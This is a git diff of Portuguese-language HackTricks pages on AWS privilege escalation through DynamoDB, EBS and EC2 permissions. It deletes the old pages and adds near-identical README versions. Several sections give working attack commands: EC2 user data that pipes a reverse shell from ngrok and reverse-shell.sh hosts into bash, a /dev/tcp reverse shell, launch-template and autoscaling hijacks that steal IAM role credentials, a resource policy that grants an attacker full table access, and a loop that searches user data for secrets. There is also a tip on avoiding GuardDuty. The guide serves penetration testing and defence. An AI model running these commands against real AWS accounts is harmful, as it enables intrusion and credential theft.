-{{#endref}}
-
-### TODO: Ler dados abusando de Streams de dados
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
new file mode 100644
index 000000000..2cf885f55
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md
@@ -0,0 +1,72 @@
+# AWS - DynamoDB Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## dynamodb
+
+Para mais informações sobre dynamodb consulte:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### `dynamodb:PutResourcePolicy`, e opcionalmente `dynamodb:GetResourcePolicy`
+
+Desde março de 2024, a AWS oferece *políticas baseadas em recursos* para DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+Então, se você tem o `dynamodb:PutResourcePolicy` para uma tabela, você pode simplesmente conceder a si mesmo ou a qualquer outro principal acesso total à tabela.
+
+Conceder o `dynamodb:PutResourcePolicy` a um principal aleatório frequentemente acontece por acidente, se os administradores pensarem que conceder `dynamodb:Put*` permitiria apenas que o principal inserisse itens no banco de dados — ou se eles concederam esse conjunto de permissões antes de março de 2024...
+
+Idealmente, você também tem `dynamodb:GetResourcePolicy`, assim não sobrescreve outras permissões potencialmente vitais, mas apenas injeta as permissões adicionais que você precisa:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Se não conseguir recuperar a política atual, use esta que concede acesso total à tabela ao seu principal:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Se precisar personalizá-la, aqui está uma lista de todas as possíveis ações do DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). E aqui está uma lista de todas as ações que podem ser permitidas via uma política baseada em recurso *E quais delas podem ser usadas cross-account (pense em data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Agora, com o documento de política `policy.json` pronto, coloque a política baseada em recurso:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Agora, você deve ter as permissões necessárias.
+
+### Post Exploitation
+
+Pelo que sei, não existe **outra forma direta de escalate privileges in AWS apenas por ter algumas permissões do AWS `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como lambda code injections...) mas todas essas opções já são consideradas na **DynamoDB Post Exploitation page**:
+
+{{#ref}}
+../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
+{{#endref}}
+
+### TODO: Read data abusing data Streams
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
deleted file mode 100644
index 2a83b6116..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# AWS - EBS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EBS
-
-### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-
-Um atacante com essas permissões poderá **baixar e analisar snapshots de volumes localmente** e procurar informações sensíveis neles (como segredos ou código-fonte). Descubra como fazer isso em:
-
-{{#ref}}
-../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
-{{#endref}}
-
-Outras permissões também podem ser úteis, como: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
-
-A ferramenta [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) realiza esse ataque para **extrair senhas de um controlador de domínio**.
-
-**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no snapshot (você pode até obter senhas do Active Directory).
-
-### **`ec2:CreateSnapshot`**
-
-Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que controla e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket.
-
-Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou pode usar uma das técnicas anteriores após criar um snapshot.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
new file mode 100644
index 000000000..91e525441
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md
@@ -0,0 +1,27 @@
+# AWS - EBS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EBS
+
+### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
+
+Um atacante com essas permissões poderá potencialmente **baixar e analisar snapshots de volumes localmente** e procurar por informações sensíveis neles (como segredos ou source code). Encontre como fazer isso em:
+
+{{#ref}}
+../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+{{#endref}}
+
+Outras permissões também podem ser úteis, tais como: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
+
+A ferramenta [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) realiza este ataque para e**xtract passwords from a domain controller**.
+
+**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no snapshot (você poderia até obter Active Directory passwords).
+
+### **`ec2:CreateSnapshot`**
+
+Qualquer usuário AWS possuindo a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Domain Controller**, montando-o em uma instância que controla e **exportando o NTDS.dit e o SYSTEM** (hive do registro) para uso com o projeto secretsdump do Impacket.
+
+Você pode usar essa ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou pode usar uma das técnicas anteriores após criar um snapshot.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
deleted file mode 100644
index c03961fac..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ /dev/null
@@ -1,261 +0,0 @@
-# AWS - EC2 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Para mais **informações sobre EC2** consulte:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-Um atacante poderia **criar uma instância anexando um papel IAM e então acessar a instância** para roubar as credenciais do papel IAM do endpoint de metadados.
-
-- **Acesso via SSH**
-
-Execute uma nova instância usando uma **chave ssh** **criada** (`--key-name`) e então faça ssh nela (se você quiser criar uma nova, pode precisar da permissão `ec2:CreateKeyPair`).
-```bash
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
---security-group-ids <sg-id>
-```
-- **Acesso via rev shell em dados do usuário**
-
-Você pode executar uma nova instância usando um **user data** (`--user-data`) que enviará um **rev shell**. Você não precisa especificar o grupo de segurança dessa forma.
-```bash
-echo '#!/bin/bash
-curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
-
-aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
---iam-instance-profile Name=<instance-profile-name> \
---count 1 \
---user-data "file:///tmp/rev.sh"
-```
-Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância:
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
-{{#endref}}
-
-**Impacto Potencial:** Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes.
-
-#### Privesc para ECS
-
-Com esse conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar seus papéis ECS anexados**.
-```bash
-aws ec2 run-instances \
---image-id ami-07fde2ae86109a2af \
---instance-type t2.micro \
---iam-instance-profile <ECS_role> \
---count 1 --key-name pwned \
---user-data "file:///tmp/asd.sh"
-
-# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
-# The EC2 instance profile needs basic ECS access
-# The content of the user data is:
-#!/bin/bash
-echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
-```
-Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, verifique:
-
-{{#ref}}
-aws-ecs-privesc.md
-{{#endref}}
-
-Se você **não pode criar uma nova instância** mas tem a permissão `ecs:RegisterContainerInstance`, você pode ser capaz de registrar a instância dentro do cluster e realizar o ataque comentado.
-
-**Impacto Potencial:** Privesc direto para funções ECS anexadas a tarefas.
-
-### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-
-Semelhante ao cenário anterior, um atacante com essas permissões poderia **mudar a função IAM de uma instância comprometida** para que ele pudesse roubar novas credenciais.\
-Como um perfil de instância pode ter apenas 1 função, se o perfil de instância **já tem uma função** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
-```bash
-# Removing role from instance profile
-aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
-
-# Add role to instance profile
-aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
-```
-Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução alternativa. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida:
-
-- Se a instância **não tiver nenhum perfil de instância** (`ec2:AssociateIamInstanceProfile`)
-```bash
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância).
-
-### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-
-Com essas permissões, é possível alterar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela.
-
-- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**.
-```bash
-aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
-aws ec2 disassociate-iam-instance-profile --association-id <value>
-aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
-```
-- ou **substituir** o **perfil da instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
-```bash
-aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
-```
-**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico).
-
-### `ec2:RequestSpotInstances`,`iam:PassRole`
-
-Um atacante com as permissões **`ec2:RequestSpotInstances`e`iam:PassRole`** pode **solicitar** uma **Instância Spot** com um **Papel EC2 anexado** e um **rev shell** nos **dados do usuário**.\
-Uma vez que a instância é executada, ele pode **roubar o papel IAM**.
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 request-spot-instances \
---instance-count 1 \
---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
-```
-### `ec2:ModifyInstanceAttribute`
-
-Um atacante com o **`ec2:ModifyInstanceAttribute`** pode modificar os atributos das instâncias. Entre eles, ele pode **alterar os dados do usuário**, o que implica que ele pode fazer a instância **executar dados arbitrários.** Isso pode ser usado para obter um **rev shell na instância EC2**.
-
-Observe que os atributos só podem ser **modificados enquanto a instância estiver parada**, então as **permissões** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
-```bash
-TEXT='Content-Type: multipart/mixed; boundary="//"
-MIME-Version: 1.0
-
---//
-Content-Type: text/cloud-config; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="cloud-config.txt"
-
-#cloud-config
-cloud_final_modules:
-- [scripts-user, always]
-
---//
-Content-Type: text/x-shellscript; charset="us-ascii"
-MIME-Version: 1.0
-Content-Transfer-Encoding: 7bit
-Content-Disposition: attachment; filename="userdata.txt"
-
-#!/bin/bash
-bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
---//'
-TEXT_PATH="/tmp/text.b64.txt"
-
-printf $TEXT | base64 > "$TEXT_PATH"
-
-aws ec2 stop-instances --instance-ids $INSTANCE_ID
-
-aws ec2 modify-instance-attribute \
---instance-id="$INSTANCE_ID" \
---attribute userData \
---value file://$TEXT_PATH
-
-aws ec2 start-instances --instance-ids $INSTANCE_ID
-```
-**Impacto Potencial:** Privesc direto para qualquer Função IAM do EC2 anexada a uma instância criada.
-
-### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-
-Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Template de Lançamento** com um **rev shell em** os **dados do usuário** e **qualquer Função IAM do EC2 nela**, mudar a versão padrão, e **qualquer grupo de Autoscaler** **usando** esse **Template de Lançamento** que está **configurado** para usar a **versão mais recente** ou a **versão padrão** irá **re-executar as instâncias** usando esse template e irá executar o rev shell.
-```bash
-REV=$(printf '#!/bin/bash
-curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
-' | base64)
-
-aws ec2 create-launch-template-version \
---launch-template-name bad_template \
---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
-
-aws ec2 modify-launch-template \
---launch-template-name bad_template \
---default-version 2
-```
-**Impacto Potencial:** Privesc direto para um papel EC2 diferente.
-
-### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
-
-Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Configuração de Lançamento** com um **Papel IAM** e um **rev shell** dentro dos **dados do usuário**, então **criar um grupo de autoscaling** a partir dessa configuração e esperar que o rev shell **roube o Papel IAM**.
-```bash
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
---launch-configuration-name bad_config \
---image-id ami-0c1bc246476a5572b \
---instance-type t3.micro \
---iam-instance-profile EC2-CloudWatch-Agent-Role \
---user-data "$REV"
-
-aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
---auto-scaling-group-name bad_auto \
---min-size 1 --max-size 1 \
---launch-configuration-name bad_config \
---desired-capacity 1 \
---vpc-zone-identifier "subnet-e282f9b8"
-```
-**Impacto Potencial:** Privesc direto para um papel EC2 diferente.
-
-### `!autoscaling`
-
-O conjunto de permissões **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **não é suficiente para escalar** privilégios para um papel IAM porque, para anexar o papel especificado na Configuração de Lançamento ou no Template de Lançamento, **você precisa das permissões `iam:PassRole` e `ec2:RunInstances`** (o que é um privesc conhecido).
-
-### `ec2-instance-connect:SendSSHPublicKey`
-
-Um atacante com a permissão **`ec2-instance-connect:SendSSHPublicKey`** pode adicionar uma chave ssh a um usuário e usá-la para acessá-lo (se ele tiver acesso ssh à instância) ou para escalar privilégios.
-```bash
-aws ec2-instance-connect send-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---instance-os-user "ec2-user" \
---ssh-public-key "file://$PUBK_PATH"
-```
-**Impacto Potencial:** Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
-
-### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-
-Um atacante com a permissão **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** pode **adicionar uma chave ssh a uma conexão serial**. Se a serial não estiver habilitada, o atacante precisa da permissão **`ec2:EnableSerialConsoleAccess` para habilitá-la**.
-
-Para se conectar à porta serial, você também **precisa saber o nome de usuário e a senha de um usuário** dentro da máquina.
-```bash
-aws ec2 enable-serial-console-access
-
-aws ec2-instance-connect send-serial-console-ssh-public-key \
---instance-id "$INSTANCE_ID" \
---serial-port 0 \
---region "eu-west-1" \
---ssh-public-key "file://$PUBK_PATH"
-
-ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
-```
-Dessa forma, não é tão útil para privesc, pois você precisa conhecer um nome de usuário e uma senha para explorá-lo.
-
-**Impacto Potencial:** (Altamente improvável) Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.
-
-### `describe-launch-templates`,`describe-launch-template-versions`
-
-Como os modelos de lançamento têm versionamento, um atacante com permissões **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** poderia explorá-los para descobrir informações sensíveis, como credenciais presentes nos dados do usuário. Para realizar isso, o seguinte script percorre todas as versões dos modelos de lançamento disponíveis:
-```bash
-for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
-do
-echo "[*] Analyzing $i"
-aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
-do
-echo "VersionNumber: $version"
-echo "$userdata" | base64 -d
-echo
-done | grep -iE "aws_|password|token|api"
-done
-```
-Nos comandos acima, embora estejamos especificando certos padrões (`aws_|password|token|api`), você pode usar uma regex diferente para procurar outros tipos de informações sensíveis.
-
-Assumindo que encontramos `aws_access_key_id` e `aws_secret_access_key`, podemos usar essas credenciais para autenticar no AWS.
-
-**Impacto Potencial:** Escalação de privilégios direta para usuário(s) IAM.
-
-## Referências
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
new file mode 100644
index 000000000..cafe5abcf
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -0,0 +1,300 @@
+# AWS - EC2 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Para mais **info sobre EC2** veja:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+Um atacante poderia **criar uma instância anexando uma IAM role e então acessar a instância** para roubar as credenciais da IAM role a partir do endpoint de metadados.
+
+- **Acesso via SSH**
+
+Inicie uma nova instância usando uma **ssh key** **criada** (`--key-name`) e então faça ssh nela (se quiser criar uma nova pode precisar da permissão `ec2:CreateKeyPair`).
+```bash
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
+--security-group-ids <sg-id>
+```
+- **Acesso via rev shell em user data**
+
+Você pode iniciar uma nova instance usando uma **user data** (`--user-data`) que enviará para você um **rev shell**. Não é necessário especificar um security group dessa forma.
+```bash
+echo '#!/bin/bash
+curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
+
+aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
+--iam-instance-profile Name=<instance-profile-name> \
+--count 1 \
+--user-data "file:///tmp/rev.sh"
+```
+Tenha cuidado com GuradDuty se você usar as credenciais do IAM role fora da instância:
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
+{{#endref}}
+
+**Impacto potencial:** Privesc direto para qualquer role EC2 anexada a instance profiles existentes.
+
+#### Privesc para ECS
+
+Com esse conjunto de permissões você também poderia **criar uma EC2 instance e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **EC2 instance** onde você tem acesso e então você pode penetrar nesses serviços (docker containers) e **roubar os ECS roles anexados a eles**.
+```bash
+aws ec2 run-instances \
+--image-id ami-07fde2ae86109a2af \
+--instance-type t2.micro \
+--iam-instance-profile <ECS_role> \
+--count 1 --key-name pwned \
+--user-data "file:///tmp/asd.sh"
+
+# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
+# The EC2 instance profile needs basic ECS access
+# The content of the user data is:
+#!/bin/bash
+echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
+```
+Para aprender como **forçar que os serviços do ECS sejam executados** nesta nova EC2 instance, confira:
+
+{{#ref}}
+../aws-ecs-privesc/README.md
+{{#endref}}
+
+Se você **não pode criar uma nova instância** mas tem a permissão `ecs:RegisterContainerInstance`, pode ser capaz de registrar a instância no cluster e executar o ataque comentado.
+
+**Impacto Potencial:** Privesc direto para roles do ECS anexados às tasks.
+
+### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
+
+Semelhante ao cenário anterior, um atacante com essas permissões poderia **alterar o IAM role de uma instância comprometida** para roubar novas credenciais.  
+Como um instance profile só pode ter 1 role, se o instance profile **já tiver um role** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**.
+```bash
+# Removing role from instance profile
+aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
+
+# Add role to instance profile
+aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
+```
+Se o **instance profile tem um role** e o atacante **não consegue removê-lo**, existe outra alternativa. Ele pode **encontrar** um **instance profile sem um role** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **role** àquele **instance profile** (como discutido anteriormente), e **associar o instance profile** comprometido a uma comprometida i**nstance:**
+
+- Se a instance **não tiver nenhum instance** profile (`ec2:AssociateIamInstanceProfile`)
+```bash
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+**Impacto Potencial:** Privesc direto para um EC2 role diferente (você precisa ter comprometido uma instância AWS EC2 e possuir permissões extras ou um status específico de instance profile).
+
+### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
+
+Com essas permissões é possível alterar o instance profile associado a uma instância. Assim, se o atacante já tiver acesso a uma instância, ele poderá roubar credenciais de mais roles de instance profile ao trocar o que está associado a ela.
+
+- Se ela **tem um instance profile**, você pode **remover** o instance profile (`ec2:DisassociateIamInstanceProfile`) e **associá-lo**
+```bash
+aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
+aws ec2 disassociate-iam-instance-profile --association-id <value>
+aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
+```
+- ou **substituir** o **instance profile** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
+```bash
+aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
+```
+**Impacto Potencial:** Privesc direto para uma EC2 role diferente (você precisa ter comprometido uma AWS EC2 instance e alguma permissão extra ou um status específico do instance profile).
+
+### `ec2:RequestSpotInstances`,`iam:PassRole`
+
+Um atacante com as permissões **`ec2:RequestSpotInstances`and`iam:PassRole`** pode **solicitar** uma **Spot Instance** com uma **EC2 Role anexada** e um **rev shell** no **user data**.\
+Uma vez que a instance seja executada, ele pode **roubar a IAM role**.
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 request-spot-instances \
+--instance-count 1 \
+--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
+```
+### `ec2:ModifyInstanceAttribute`
+
+Um atacante com o **`ec2:ModifyInstanceAttribute`** pode modificar os atributos das instâncias. Entre eles, ele pode **alterar o user data**, o que implica que ele pode fazer a instância **executar dados arbitrários.** Isso pode ser usado para obter um **rev shell para a instância EC2**.
+
+Observe que os atributos só podem ser **modificados enquanto a instância estiver parada**, então são necessárias as **permissões** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
+```bash
+TEXT='Content-Type: multipart/mixed; boundary="//"
+MIME-Version: 1.0
+
+--//
+Content-Type: text/cloud-config; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="cloud-config.txt"
+
+#cloud-config
+cloud_final_modules:
+- [scripts-user, always]
+
+--//
+Content-Type: text/x-shellscript; charset="us-ascii"
+MIME-Version: 1.0
+Content-Transfer-Encoding: 7bit
+Content-Disposition: attachment; filename="userdata.txt"
+
+#!/bin/bash
+bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
+--//'
+TEXT_PATH="/tmp/text.b64.txt"
+
+printf $TEXT | base64 > "$TEXT_PATH"
+
+aws ec2 stop-instances --instance-ids $INSTANCE_ID
+
+aws ec2 modify-instance-attribute \
+--instance-id="$INSTANCE_ID" \
+--attribute userData \
+--value file://$TEXT_PATH
+
+aws ec2 start-instances --instance-ids $INSTANCE_ID
+```
+**Impacto Potencial:** privesc direto para qualquer EC2 IAM Role anexada a uma instância criada.
+
+### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
+
+Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão de Launch Template** com um **rev shell no** **user data** e **qualquer EC2 IAM Role nela**, alterar a versão padrão, e **qualquer Autoscaler group** que esteja **usando** esse **Launch Template** configurado para usar a **mais recente** ou a **versão padrão** irá **reexecutar as instâncias** usando esse template e executará o rev shell.
+```bash
+REV=$(printf '#!/bin/bash
+curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
+' | base64)
+
+aws ec2 create-launch-template-version \
+--launch-template-name bad_template \
+--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
+
+aws ec2 modify-launch-template \
+--launch-template-name bad_template \
+--default-version 2
+```
+**Impacto Potencial:** Privesc direto para um EC2 role diferente.
+
+### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
+
+Um atacante com as permissões **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** pode **criar uma Launch Configuration** com uma **IAM Role** e um **rev shell** dentro do **user data**, então **criar um autoscaling group** a partir dessa configuração e aguardar o rev shell **roubar a IAM Role**.
+```bash
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
+--launch-configuration-name bad_config \
+--image-id ami-0c1bc246476a5572b \
+--instance-type t3.micro \
+--iam-instance-profile EC2-CloudWatch-Agent-Role \
+--user-data "$REV"
+
+aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
+--auto-scaling-group-name bad_auto \
+--min-size 1 --max-size 1 \
